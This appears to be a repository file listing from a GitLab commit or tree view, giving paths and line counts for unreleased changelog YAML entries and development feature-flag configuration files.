-rw-r--r--changelogs/unreleased/244638-change-time-to-salt.yml5
-rw-r--r--changelogs/unreleased/244828-iglu-registry-url-optional-from-gitlab.yml5
-rw-r--r--changelogs/unreleased/244848-fix-lfs-cleanup-data-loss-bug.yml5
-rw-r--r--changelogs/unreleased/244848-skip-cleanup-for-forks.yml5
-rw-r--r--changelogs/unreleased/244947-remove-designs-from-incdients.yml5
-rw-r--r--changelogs/unreleased/245247-check-for-usage-ping-enabled-when-tracking-using-redis-hll.yml5
-rw-r--r--changelogs/unreleased/245277-handle-redis-for-usage-ping-sql-dump-rake-task.yml5
-rw-r--r--changelogs/unreleased/24629.yml5
-rw-r--r--changelogs/unreleased/246489-fix-files-count-for-large-mr-diffs.yml5
-rw-r--r--changelogs/unreleased/246502-fix-always-visible-sidebar-spinner.yml5
-rw-r--r--changelogs/unreleased/246532-on-design-discussion-comment-is-added-twice.yml5
-rw-r--r--changelogs/unreleased/246655-hashed-storage-trigger-migration-to-hashed-storage-via-post-deploy.yml5
-rw-r--r--changelogs/unreleased/246741-conan-unicorn-bug.yml5
-rw-r--r--changelogs/unreleased/246904-drop-limit-container-width-from-projects.yml5
-rw-r--r--changelogs/unreleased/246904-drop-limit-container-width-from-serverless-function.yml5
-rw-r--r--changelogs/unreleased/246904-drop-limit-container-width-from-serverless-functions.yml5
-rw-r--r--changelogs/unreleased/247465-fix-typo-in-class-name.yml5
-rw-r--r--changelogs/unreleased/247870-nomethoderror-saving-jira-integration-with-invalid-credentials.yml5
-rw-r--r--changelogs/unreleased/247897-properly-style-the-container-registry-metadata.yml5
-rw-r--r--changelogs/unreleased/249040-fix-subscription-without-namespace.yml5
-rw-r--r--changelogs/unreleased/249091-autocomplete-recent-mrs.yml5
-rw-r--r--changelogs/unreleased/249519-fix-daemon-jobs-hash-thread-safe-issue.yml5
-rw-r--r--changelogs/unreleased/249910-does-not-update-repository-statistics-when-running-on-a-read-only-.yml6
-rw-r--r--changelogs/unreleased/250279-unnecessary-spacing-exists-in-issues-list.yml5
-rw-r--r--changelogs/unreleased/250350-design-comments-do-not-render-the-blockquotes-correctly.yml5
-rw-r--r--changelogs/unreleased/251013-on-design-discussion-note-icons-are-misaligned.yml5
-rw-r--r--changelogs/unreleased/26149-email-notifications-not-being-sent-on-important-security-event-like.yml5
-rw-r--r--changelogs/unreleased/27284-indicate-that-password-reset-was-initiated-by-an-admin-when-an-admi.yml5
-rw-r--r--changelogs/unreleased/28459-paginate_profile_settings_group_notifications.yml5
-rw-r--r--changelogs/unreleased/29642-Replace-Unicode-with-ASCII-Equivalent.yml5
-rw-r--r--changelogs/unreleased/29651-243747-enable-child-of-child-pipeline.yml5
-rw-r--r--changelogs/unreleased/29651-fix-triggered-pipelines-depth.yml5
-rw-r--r--changelogs/unreleased/29957-locked_issues_no_reaction.yml6
-rw-r--r--changelogs/unreleased/31092-user-search-filtered-to-group-times-out.yml5
-rw-r--r--changelogs/unreleased/33646-eliminate-cycle-analytics-total-stage.yml5
-rw-r--r--changelogs/unreleased/33909-show-peek-ajax-api-requests.yml5
-rw-r--r--changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml5
-rw-r--r--changelogs/unreleased/35080-add-validation-to-pypi-package-version.yml5
-rw-r--r--changelogs/unreleased/37248-add-api-to-monitor-issue-creation.yml5
-rw-r--r--changelogs/unreleased/37985-add-gitpod-button-to-open-project-in-gitpod.yml5
-rw-r--r--changelogs/unreleased/41596-sse-minor-ux-spacing.yml5
-rw-r--r--changelogs/unreleased/41818.yml5
-rw-r--r--changelogs/unreleased/Incident-highlight-bar.yml5
-rw-r--r--changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-vu.yml5
-rw-r--r--changelogs/unreleased/Resolve-Migrate--fa-spinner-app-views-projects-blob-viewers.yml5
-rw-r--r--changelogs/unreleased/ab-hide-pending-delete-projects-from-project-index.yml5
-rw-r--r--changelogs/unreleased/access-modifier-cop.yml5
-rw-r--r--changelogs/unreleased/add-auto_close_incident-column-to-incident_management_settings.yml5
-rw-r--r--changelogs/unreleased/add-conan-lock-file-to-gemnasium-job.yml5
-rw-r--r--changelogs/unreleased/add-dast-on-demand-scan-usage-ping-220951.yml5
-rw-r--r--changelogs/unreleased/add-flash-spacing-on-merge-request.yml5
-rw-r--r--changelogs/unreleased/add-reviewers-to-merge-requests.yml5
-rw-r--r--changelogs/unreleased/add-spacing-to-design-management-toolbar-buttons.yml5
-rw-r--r--changelogs/unreleased/add_deduplicated_column_to_security_findings.yml6
-rw-r--r--changelogs/unreleased/add_kind_to_differentiate_policies.yml5
-rw-r--r--changelogs/unreleased/add_namespace_id_to_users_in_admin_area.yml5
-rw-r--r--changelogs/unreleased/agent_gitops_sync_count.yml5
-rw-r--r--changelogs/unreleased/ajk-issue-placement-worker-deduplication.yml5
-rw-r--r--changelogs/unreleased/ajk-relative-positioning-async-move-to-end.yml5
-rw-r--r--changelogs/unreleased/ajk-relative-positioning-issue-placement-worker-oldest-first.yml5
-rw-r--r--changelogs/unreleased/ajk-relative-positioning-mover.yml5
-rw-r--r--changelogs/unreleased/ajk-relative-positioning-safe-move-nulls.yml5
-rw-r--r--changelogs/unreleased/ajk-relative-positioning-worker.yml5
-rw-r--r--changelogs/unreleased/alert-handler.yml5
-rw-r--r--changelogs/unreleased/alexives-237924-tables_for_versioned_tf_state.yml5
-rw-r--r--changelogs/unreleased/andr3-startup_css_helper-trigger-anytime.yml5
-rw-r--r--changelogs/unreleased/app-logger-1.yml5
-rw-r--r--changelogs/unreleased/app-logger-10.yml5
-rw-r--r--changelogs/unreleased/app-logger-11.yml5
-rw-r--r--changelogs/unreleased/app-logger-12.yml5
-rw-r--r--changelogs/unreleased/app-logger-13.yml5
-rw-r--r--changelogs/unreleased/app-logger-14.yml5
-rw-r--r--changelogs/unreleased/app-logger-15.yml5
-rw-r--r--changelogs/unreleased/app-logger-17.yml5
-rw-r--r--changelogs/unreleased/app-logger-18.yml5
-rw-r--r--changelogs/unreleased/app-logger-19.yml5
-rw-r--r--changelogs/unreleased/app-logger-2.yml5
-rw-r--r--changelogs/unreleased/app-logger-3.yml5
-rw-r--r--changelogs/unreleased/app-logger-4.yml5
-rw-r--r--changelogs/unreleased/app-logger-5.yml5
-rw-r--r--changelogs/unreleased/app-logger-6.yml5
-rw-r--r--changelogs/unreleased/app-logger-7.yml5
-rw-r--r--changelogs/unreleased/app-logger-8.yml5
-rw-r--r--changelogs/unreleased/app-logger-9.yml5
-rw-r--r--changelogs/unreleased/approval-notification-bug.yml5
-rw-r--r--changelogs/unreleased/astoicescu-truncate-dashboards-dropdown-items.yml5
-rw-r--r--changelogs/unreleased/authored-date-on-comments-in-search.yml5
-rw-r--r--changelogs/unreleased/bugfix_coverage_fuzzing_merge_event.yml5
-rw-r--r--changelogs/unreleased/bump-ado-image-to-v1-0-2.yml5
-rw-r--r--changelogs/unreleased/bump-puma-to-4-3-5-gitlab-3.yml5
-rw-r--r--changelogs/unreleased/bvl-remove-async-pages-ff.yml5
-rw-r--r--changelogs/unreleased/bw-large-description-timeout.yml5
-rw-r--r--changelogs/unreleased/bw-surround-text-wth-char.yml5
-rw-r--r--changelogs/unreleased/cat-time-precision-2fa-ldap.yml5
-rw-r--r--changelogs/unreleased/change-tier-eeu-environment-alerts.yml5
-rw-r--r--changelogs/unreleased/chore-bump-swagger-ui-dist.yml5
-rw-r--r--changelogs/unreleased/ci-platform-metrics-bulk-insert.yml5
-rw-r--r--changelogs/unreleased/ci-platform-metrics-invalid-bucket.yml5
-rw-r--r--changelogs/unreleased/ci-platform-metrics.yml5
-rw-r--r--changelogs/unreleased/closing-paren-cop.yml5
-rw-r--r--changelogs/unreleased/cngo-make-mr-edit-file-upload-button-tab-accessible.yml5
-rw-r--r--changelogs/unreleased/cnp-description.yml5
-rw-r--r--changelogs/unreleased/commented-keyword.yml5
-rw-r--r--changelogs/unreleased/compare-link-git-submodule-update.yml5
-rw-r--r--changelogs/unreleased/correct-project-delete-button-spelling-mistakes.yml5
-rw-r--r--changelogs/unreleased/create-index-for-cs.yml5
-rw-r--r--changelogs/unreleased/dblessing-atlassian-integration-sign-in.yml5
-rw-r--r--changelogs/unreleased/dblessing-atlassian-integration.yml5
-rw-r--r--changelogs/unreleased/dblessing-auth-events-logging.yml5
-rw-r--r--changelogs/unreleased/dblessing-auth-events.yml5
-rw-r--r--changelogs/unreleased/dblessing-doorkeeper-hex-generator.yml5
-rw-r--r--changelogs/unreleased/dblessing-emails-cascade-delete.yml5
-rw-r--r--changelogs/unreleased/dblessing-social-connect-text.yml5
-rw-r--r--changelogs/unreleased/defect-expand-all-files-does-nothing.yml5
-rw-r--r--changelogs/unreleased/deprecate_expired_pat_email_notification.yml5
-rw-r--r--changelogs/unreleased/design-todo-enable-by-default.yml5
-rw-r--r--changelogs/unreleased/display-merged-commit-sha-in-fast-forward-mode.yml5
-rw-r--r--changelogs/unreleased/djensen-finish-renaming-analytics-workspace.yml5
-rw-r--r--changelogs/unreleased/do_not_show_all_groups_on_notif_settings.yml5
-rw-r--r--changelogs/unreleased/docs-file_hook.yml5
-rw-r--r--changelogs/unreleased/drop-limit-container-width-classname.yml5
-rw-r--r--changelogs/unreleased/drop-limit-container-width-from-project.yml5
-rw-r--r--changelogs/unreleased/dz-improve-new-issue-highlight.yml5
-rw-r--r--changelogs/unreleased/eb-mr-widget-builds-coverages.yml5
-rw-r--r--changelogs/unreleased/eb-return-filesize-authorize.yml5
-rw-r--r--changelogs/unreleased/eb-track-group-coverage-csv-download.yml5
-rw-r--r--changelogs/unreleased/eb-update-workhorse-8-45-0.yml5
-rw-r--r--changelogs/unreleased/emilyring-cluster-new-vue.yml5
-rw-r--r--changelogs/unreleased/empty-lambda-cop.yml5
-rw-r--r--changelogs/unreleased/empty-lines-cop-fix.yml5
-rw-r--r--changelogs/unreleased/empty-literal-cop.yml5
-rw-r--r--changelogs/unreleased/enable-store-instance-statistics-ff-by-default.yml5
-rw-r--r--changelogs/unreleased/enable_improved_mr_merged_at_queries_ff_by_default.yml5
-rw-r--r--changelogs/unreleased/ensure-db-consistency-after-36321.yml5
-rw-r--r--changelogs/unreleased/eread-migrate-remove-desc-history-button.yml5
-rw-r--r--changelogs/unreleased/ewm-proj-service.yml5
-rw-r--r--changelogs/unreleased/expose_time_note_from_api.yml5
-rw-r--r--changelogs/unreleased/feature-collapsed-files-warning.yml5
-rw-r--r--changelogs/unreleased/feature-gb-add-ci-build-state-table.yml5
-rw-r--r--changelogs/unreleased/feature-gb-live-build-traces-finalize-api.yml5
-rw-r--r--changelogs/unreleased/feature-gb-resilient-live-trace-chunks.yml5
-rw-r--r--changelogs/unreleased/feature-highlight-collapsed-diff-files.yml5
-rw-r--r--changelogs/unreleased/feature-issue_241962.yml5
-rw-r--r--changelogs/unreleased/ff-kubernetes_agent_internal_api.yml5
-rw-r--r--changelogs/unreleased/first-param-cop.yml5
-rw-r--r--changelogs/unreleased/fix-219551_project_token_http.yml5
-rw-r--r--changelogs/unreleased/fix-bump-ado-image-to-1-0-3.yml6
-rw-r--r--changelogs/unreleased/fix-css-pipeline-graph.yml5
-rw-r--r--changelogs/unreleased/fix-design-management-archive-button.yml5
-rw-r--r--changelogs/unreleased/fix-design-managemnt-comment-highlight.yml5
-rw-r--r--changelogs/unreleased/fix-pipeline-link.yml5
-rw-r--r--changelogs/unreleased/fix-regexp-dotenv.yml5
-rw-r--r--changelogs/unreleased/fix-require-at-least-one-optional-param-in-mr-put-api.yml5
-rw-r--r--changelogs/unreleased/fix-run-pipeline-in-target-project.yml6
-rw-r--r--changelogs/unreleased/fix-scroll-to-note-designs.yml5
-rw-r--r--changelogs/unreleased/fix-system-notes-when-moving-issues.yml5
-rw-r--r--changelogs/unreleased/fix-text-overflow-profile-activity.yml5
-rw-r--r--changelogs/unreleased/fix-toggle_button-vue.yml5
-rw-r--r--changelogs/unreleased/fix-warning-message-on-transfer.yml5
-rw-r--r--changelogs/unreleased/fix_concurrent_backup.yml5
-rw-r--r--changelogs/unreleased/fix_notificationsettings_page_nonexistent_parent.yml5
-rw-r--r--changelogs/unreleased/fj-remove-snippet-redirection-when-blob-binary.yml5
-rw-r--r--changelogs/unreleased/gaga5lala-issue-222306.yml5
-rw-r--r--changelogs/unreleased/gaga5lala-remove-feature-flag.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-add-importing-issues-usage-pings.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-add-importing-projects-usage-ping.yml5
-rw-r--r--changelogs/unreleased/hide-latest-versions-from-ui.yml5
-rw-r--r--changelogs/unreleased/i18n-admin-dashboard.yml5
-rw-r--r--changelogs/unreleased/i18n-runners.yml5
-rw-r--r--changelogs/unreleased/i18n-snippets-header.yml5
-rw-r--r--changelogs/unreleased/i18n-webhook-form.yml5
-rw-r--r--changelogs/unreleased/id-bump-doorkeeper-5-1.yml5
-rw-r--r--changelogs/unreleased/id-bump-doorkeeper-5-3.yml5
-rw-r--r--changelogs/unreleased/id-bump-marginalia-gem.yml5
-rw-r--r--changelogs/unreleased/id-enable-merge-request-draft-filter.yml5
-rw-r--r--changelogs/unreleased/id-increase-poll-interval-for-merged-mrs.yml5
-rw-r--r--changelogs/unreleased/id-link-existing-lfs.yml5
-rw-r--r--changelogs/unreleased/id-remove-memoize-on-processing-ref-changes.yml5
-rw-r--r--changelogs/unreleased/improve-group-coverage-query-performance.yml5
-rw-r--r--changelogs/unreleased/issue-227174.yml5
-rw-r--r--changelogs/unreleased/issue-type-spacing.yml5
-rw-r--r--changelogs/unreleased/issue_34247.yml5
-rw-r--r--changelogs/unreleased/it-behaves-cop.yml5
-rw-r--r--changelogs/unreleased/jcunha-feature-update-managed-apps-to-0-29-0.yml5
-rw-r--r--changelogs/unreleased/jdb-fix-diffs-viewer-max-lines.yml5
-rw-r--r--changelogs/unreleased/jdb-refactor-inline-diff-table-row.yml5
-rw-r--r--changelogs/unreleased/jdb-refactor-parallel-diff-table-row.yml5
-rw-r--r--changelogs/unreleased/jh-allow-x-envelope-to-header.yml5
-rw-r--r--changelogs/unreleased/jl-milestone-title-spacing.yml5
-rw-r--r--changelogs/unreleased/kp-fix-missing-create-manage-labels-issue-board.yml5
-rw-r--r--changelogs/unreleased/laravel-ci-docs-updates.yml5
-rw-r--r--changelogs/unreleased/leipert-ajax-spinner-icons.yml5
-rw-r--r--changelogs/unreleased/let-before-examples-cop.yml5
-rw-r--r--changelogs/unreleased/lint-uri-regex.yml5
-rw-r--r--changelogs/unreleased/lm-add-pipeline-actions.yml5
-rw-r--r--changelogs/unreleased/lm-be-pipeline-mutations.yml5
-rw-r--r--changelogs/unreleased/lm-update-pipeline-mutation.yml5
-rw-r--r--changelogs/unreleased/maintenance-improve-file-by-file.yml5
-rw-r--r--changelogs/unreleased/make-all-downstream-upstream-ids-links.yml5
-rw-r--r--changelogs/unreleased/make-bridge-pipelines-clickable.yml5
-rw-r--r--changelogs/unreleased/marcel-update-deprecated-button-5.yml5
-rw-r--r--changelogs/unreleased/mark-todos-as-done-on-mobile.yml5
-rw-r--r--changelogs/unreleased/matrix-job-names-rollout.yml5
-rw-r--r--changelogs/unreleased/mc-feature-remove-keep-latest-artifact-ff.yml5
-rw-r--r--changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml5
-rw-r--r--changelogs/unreleased/mf-remove-frontend-unit-test-report-case-sorting.yml5
-rw-r--r--changelogs/unreleased/migrate-environment_actions-button.yml5
-rw-r--r--changelogs/unreleased/migrate-mr-deployment-widget-to-gl-dropdown.yml5
-rw-r--r--changelogs/unreleased/migration-monitoring-btn.yml5
-rw-r--r--changelogs/unreleased/mjang-devops-score-ui-text.yml5
-rw-r--r--changelogs/unreleased/mk-enforce-not-null-external-diff-store-on-mr-diffs.yml6
-rw-r--r--changelogs/unreleased/mo-add-destroy-artifact-service.yml5
-rw-r--r--changelogs/unreleased/mo-add-pipeline-artifacts-size-to-root-storage-statistics.yml5
-rw-r--r--changelogs/unreleased/mo-graphql-query-projects-by-ids.yml5
-rw-r--r--changelogs/unreleased/mo-propagate-env-variables-codequality.yml5
-rw-r--r--changelogs/unreleased/mo-remove-coverage-report-view-feature-flag.yml5
-rw-r--r--changelogs/unreleased/mo-sort-test-data-by-duration.yml5
-rw-r--r--changelogs/unreleased/mobile-friendly-todos-list.yml5
-rw-r--r--changelogs/unreleased/move-jira-dvcs-and-connect-app-to-core.yml5
-rw-r--r--changelogs/unreleased/multiline-if-modifier.yml5
-rw-r--r--changelogs/unreleased/mw-mr-widget-header-replace-fa-icon.yml5
-rw-r--r--changelogs/unreleased/mw-notification-icons.yml5
-rw-r--r--changelogs/unreleased/mw-rename-devops-score-to-devops-report.yml5
-rw-r--r--changelogs/unreleased/mw-replace-circle-icon.yml5
-rw-r--r--changelogs/unreleased/mwaw232076-full-text-search-and-time-picker-is-not-be-available-for-manag.yml5
-rw-r--r--changelogs/unreleased/nelbacha-conditional-package-scopes.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-direct-asset-url-to-graphql.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-markdown-editor-shortcuts.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-upcoming-release-to-graphql.yml5
-rw-r--r--changelogs/unreleased/nfriend-dont-apply-ctrl-p-on-mac.yml5
-rw-r--r--changelogs/unreleased/nfriend-only-apply-command-markdown-shortcuts-on-mac.yml5
-rw-r--r--changelogs/unreleased/nfriend-prevent-enter-submission.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-fix-invite-mail-tracking.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-introduce-welcome-page.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-remove-confirmation-email.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-remove-successful-signup-notice.yml5
-rw-r--r--changelogs/unreleased/non-deter-cop.yml5
-rw-r--r--changelogs/unreleased/ntepluhina-immer.yml5
-rw-r--r--changelogs/unreleased/ntepluhina-refactor-design-management-to-gitlab-ui-1.yml5
-rw-r--r--changelogs/unreleased/on-demand-dast-validation-model-layer-245208.yml5
-rw-r--r--changelogs/unreleased/optimized-issuable-label-search-pt1.yml5
-rw-r--r--changelogs/unreleased/pages-version-1-23-0.yml5
-rw-r--r--changelogs/unreleased/parent-child-pipelines-navigation.yml5
-rw-r--r--changelogs/unreleased/perl-backref-cop.yml5
-rw-r--r--changelogs/unreleased/ph-212785-fixRepositoryBrowserBranchWithParentheses.yml5
-rw-r--r--changelogs/unreleased/ph-225410-commentHasWrongAuthorName.yml5
-rw-r--r--changelogs/unreleased/ph-225922-fixedImageDiscussionsNotShowingOnChangesTab.yml5
-rw-r--r--changelogs/unreleased/ph-232478-updateWidgetIntervalForClosedMergeRequests.yml5
-rw-r--r--changelogs/unreleased/ph-240235-moveReviewCSS.yml5
-rw-r--r--changelogs/unreleased/pherlihy-master-patch-95213.yml5
-rw-r--r--changelogs/unreleased/pipeline-icon-center.yml5
-rw-r--r--changelogs/unreleased/pl-add-incident-label-for-incidents.yml5
-rw-r--r--changelogs/unreleased/pl-perf-backtrace-silencer.yml5
-rw-r--r--changelogs/unreleased/pl-perf-bt-cleaner-regexp-match.yml5
-rw-r--r--changelogs/unreleased/private-group-btn.yml5
-rw-r--r--changelogs/unreleased/project_member_list.yml5
-rw-r--r--changelogs/unreleased/psi-milestone-header-fix.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-13.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-14.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-16.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-17.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-18.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-19.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-20.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-21.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-22.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-23.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-24.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-25.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-26.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-27.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-28.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-29.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-30.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-31.yml5
-rw-r--r--changelogs/unreleased/rails-save-bang-32.yml5
-rw-r--r--changelogs/unreleased/raise-exceptio-cop.yml5
-rw-r--r--changelogs/unreleased/reduce-redis-storage-session-lookup.yml5
-rw-r--r--changelogs/unreleased/redundant-sort-cop.yml5
-rw-r--r--changelogs/unreleased/refactor-deployment-templates.yml5
-rw-r--r--changelogs/unreleased/refactor-pipeline-warnings-ux.yml5
-rw-r--r--changelogs/unreleased/refresh-service-optimisations.yml5
-rw-r--r--changelogs/unreleased/remove-duplicated-cs-findings.yml5
-rw-r--r--changelogs/unreleased/remove-extracts-path-optimization-flag.yml5
-rw-r--r--changelogs/unreleased/remove-pipeline-warnings-from-pipeline-view.yml5
-rw-r--r--changelogs/unreleased/remove-pkgr-yml.yml5
-rw-r--r--changelogs/unreleased/remove_skip_hashed_storage_upgrade_feature_flag.yml5
-rw-r--r--changelogs/unreleased/render-attribute-definitions.yml5
-rw-r--r--changelogs/unreleased/renovate-vue-vuex-3-x.yml5
-rw-r--r--changelogs/unreleased/rescue-alignment.yml5
-rw-r--r--changelogs/unreleased/respect_visiblity_instrument_methods.yml5
-rw-r--r--changelogs/unreleased/retention-add-forum-link-to-help-menu.yml5
-rw-r--r--changelogs/unreleased/rmv-mwps-feature-flag.yml5
-rw-r--r--changelogs/unreleased/rp-change-instance-administrators-name.yml5
-rw-r--r--changelogs/unreleased/sast-image-variable.yml5
-rw-r--r--changelogs/unreleased/secret-detection-commits-file.yml5
-rw-r--r--changelogs/unreleased/self-assign-cop.yml5
-rw-r--r--changelogs/unreleased/setup-policy-btn.yml5
-rw-r--r--changelogs/unreleased/sh-add-if-exists-pgdump.yml5
-rw-r--r--changelogs/unreleased/sh-always-retry-read-build-logs.yml5
-rw-r--r--changelogs/unreleased/sh-azure-custom-domains.yml5
-rw-r--r--changelogs/unreleased/sh-bump-gitlab-shell-13-7-0.yml5
-rw-r--r--changelogs/unreleased/sh-disable-sidekiq-exporter-logs.yml5
-rw-r--r--changelogs/unreleased/sh-document-stop-sidekiq-puma-backup-restore.yml5
-rw-r--r--changelogs/unreleased/sh-fix-backup-restore-race.yml5
-rw-r--r--changelogs/unreleased/sh-fix-project-deletion-warning-name.yml5
-rw-r--r--changelogs/unreleased/sh-log-psql-errors.yml5
-rw-r--r--changelogs/unreleased/sh-pipeline-notification-fix.yml5
-rw-r--r--changelogs/unreleased/sh-remove-job-logs-from-notification-emails.yml5
-rw-r--r--changelogs/unreleased/sh-same-site-none-fix-try2.yml5
-rw-r--r--changelogs/unreleased/sh-update-faraday-and-other-gems.yml5
-rw-r--r--changelogs/unreleased/similarity-sorting-of-projects-graphql-api.yml5
-rw-r--r--changelogs/unreleased/single-line-cop.yml5
-rw-r--r--changelogs/unreleased/space-before-first-arg.yml5
-rw-r--r--changelogs/unreleased/ss-add-update-issue.yml5
-rw-r--r--changelogs/unreleased/ss-fix-report-abuse-button.yml5
-rw-r--r--changelogs/unreleased/store-seats_currently_in_use.yml5
-rw-r--r--changelogs/unreleased/sunjungp-master-patch-22797.yml5
-rw-r--r--changelogs/unreleased/suzu-1990-gitlab-patch-112.yml5
-rw-r--r--changelogs/unreleased/suzu-1990-gitlab-suzu-1990-master-patch-97784.yml5
-rw-r--r--changelogs/unreleased/swimlane_user_setting.yml5
-rw-r--r--changelogs/unreleased/sy-adhere-issue-creation-to-setting.yml5
-rw-r--r--changelogs/unreleased/sy-gfm-reference-for-alerts.yml5
-rw-r--r--changelogs/unreleased/sy-unhide-alert-payload-attrs.yml5
-rw-r--r--changelogs/unreleased/tc-external-mr-diff-ssf.yml5
-rw-r--r--changelogs/unreleased/tr-fix-incident-list-ce.yml5
-rw-r--r--changelogs/unreleased/tr-incident-alert-details.yml5
-rw-r--r--changelogs/unreleased/tr-incident-tabs.yml5
-rw-r--r--changelogs/unreleased/update-conan-installation-snippet.yml5
-rw-r--r--changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-0.yml5
-rw-r--r--changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-1.yml5
-rw-r--r--changelogs/unreleased/update-index-used-in-mr-api.yml5
-rw-r--r--changelogs/unreleased/update-lodash-4-17-15-to-4-17-20.yml5
-rw-r--r--changelogs/unreleased/update-mr-badge-count-color.yml5
-rw-r--r--changelogs/unreleased/update-vendored-dockerfile-templates.yml5
-rw-r--r--changelogs/unreleased/upgrade-gitlab-pages-1-24-0.yml5
-rw-r--r--changelogs/unreleased/upgrade-pages-1-25-0.yml5
-rw-r--r--changelogs/unreleased/usage_ping_agent_token.yml5
-rw-r--r--changelogs/unreleased/usage_ping_kubernetes_agent.yml5
-rw-r--r--changelogs/unreleased/vij-fix-project-snippet-param.yml5
-rw-r--r--changelogs/unreleased/vij-snippet-status-codes.yml5
-rw-r--r--changelogs/unreleased/vij-snippets-missing-param-requirement.yml5
-rw-r--r--changelogs/unreleased/wc-pages-backup.yml5
-rw-r--r--changelogs/unreleased/web-ide-preferred-ci.yml5
-rw-r--r--changelogs/unreleased/widen-issuable-on-mobile.yml5
-rw-r--r--changelogs/unreleased/winniehell-openapi-mvc.yml5
-rw-r--r--changelogs/unreleased/workhorse-8-44-0.yml5
-rw-r--r--changelogs/unreleased/xanf-add-infinite-scroll-to-importers.yml5
-rw-r--r--changelogs/unreleased/xanf-import-projects-count.yml5
-rw-r--r--config/application.rb12
-rw-r--r--config/dependency_decisions.yml6
-rw-r--r--config/environments/test.rb2
-rw-r--r--config/feature_categories.yml1
-rw-r--r--config/feature_flags/development/additional_snowplow_tracking.yml7
-rw-r--r--config/feature_flags/development/ajax_new_deploy_token.yml7
-rw-r--r--config/feature_flags/development/allow_group_deploy_token.yml7
-rw-r--r--config/feature_flags/development/allow_possible_spam.yml7
-rw-r--r--config/feature_flags/development/allow_unsafe_ruby_regexp.yml7
-rw-r--r--config/feature_flags/development/api_kaminari_count_with_limit.yml7
-rw-r--r--config/feature_flags/development/application_settings_tokens_optional_encryption.yml7
-rw-r--r--config/feature_flags/development/approval_suggestions.yml7
-rw-r--r--config/feature_flags/development/approvals_commented_by.yml7
-rw-r--r--config/feature_flags/development/archive_rate_limit.yml7
-rw-r--r--config/feature_flags/development/artifacts_management_page.yml7
-rw-r--r--config/feature_flags/development/async_commit_diff_files.yml7
-rw-r--r--config/feature_flags/development/async_update_pages_config.yml7
-rw-r--r--config/feature_flags/development/auto_create_cluster_management_project.yml7
-rw-r--r--config/feature_flags/development/auto_devops_banner_disabled.yml7
-rw-r--r--config/feature_flags/development/backfill_partitioned_audit_events.yml7
-rw-r--r--config/feature_flags/development/batch_suggestions.yml7
-rw-r--r--config/feature_flags/development/bitbucket_server_user_mapping_by_username.yml7
-rw-r--r--config/feature_flags/development/block_anonymous_global_searches.yml7
-rw-r--r--config/feature_flags/development/boards_with_swimlanes.yml7
-rw-r--r--config/feature_flags/development/branch_list_keyset_pagination.yml7
-rw-r--r--config/feature_flags/development/branch_push_merge_commit_analyze.yml7
-rw-r--r--config/feature_flags/development/broadcast_issue_updates.yml7
-rw-r--r--config/feature_flags/development/build_service_proxy.yml7
-rw-r--r--config/feature_flags/development/builds.yml7
-rw-r--r--config/feature_flags/development/bulk_update_health_status.yml7
-rw-r--r--config/feature_flags/development/burnup_charts.yml7
-rw-r--r--config/feature_flags/development/chatops.yml7
-rw-r--r--config/feature_flags/development/ci_artifacts_exclude.yml7
-rw-r--r--config/feature_flags/development/ci_bridge_pipeline_details.yml7
-rw-r--r--config/feature_flags/development/ci_build_metadata_config.yml7
-rw-r--r--config/feature_flags/development/ci_bulk_insert_on_create.yml7
-rw-r--r--config/feature_flags/development/ci_child_of_child_pipeline.yml7
-rw-r--r--config/feature_flags/development/ci_daily_code_coverage.yml7
-rw-r--r--config/feature_flags/development/ci_disable_validates_dependencies.yml7
-rw-r--r--config/feature_flags/development/ci_disallow_to_create_merge_request_pipelines_in_target_project.yml7
-rw-r--r--config/feature_flags/development/ci_download_daily_code_coverage.yml7
-rw-r--r--config/feature_flags/development/ci_dynamic_child_pipeline.yml7
-rw-r--r--config/feature_flags/development/ci_enable_live_trace.yml7
-rw-r--r--config/feature_flags/development/ci_if_parenthesis_enabled.yml7
-rw-r--r--config/feature_flags/development/ci_instance_variables_ui.yml7
-rw-r--r--config/feature_flags/development/ci_job_heartbeats_runner.yml7
-rw-r--r--config/feature_flags/development/ci_job_jwt.yml7
-rw-r--r--config/feature_flags/development/ci_jobs_finder_refactor.yml7
-rw-r--r--config/feature_flags/development/ci_key_autocomplete.yml7
-rw-r--r--config/feature_flags/development/ci_lint_creates_pipeline_with_dry_run.yml7
-rw-r--r--config/feature_flags/development/ci_lint_vue.yml7
-rw-r--r--config/feature_flags/development/ci_new_artifact_file_reader.yml7
-rw-r--r--config/feature_flags/development/ci_pipeline_latest.yml7
-rw-r--r--config/feature_flags/development/ci_pipeline_rewind_iid.yml7
-rw-r--r--config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml7
-rw-r--r--config/feature_flags/development/ci_plan_needs_size_limit.yml7
-rw-r--r--config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml7
-rw-r--r--config/feature_flags/development/ci_runners_tokens_optional_encryption.yml7
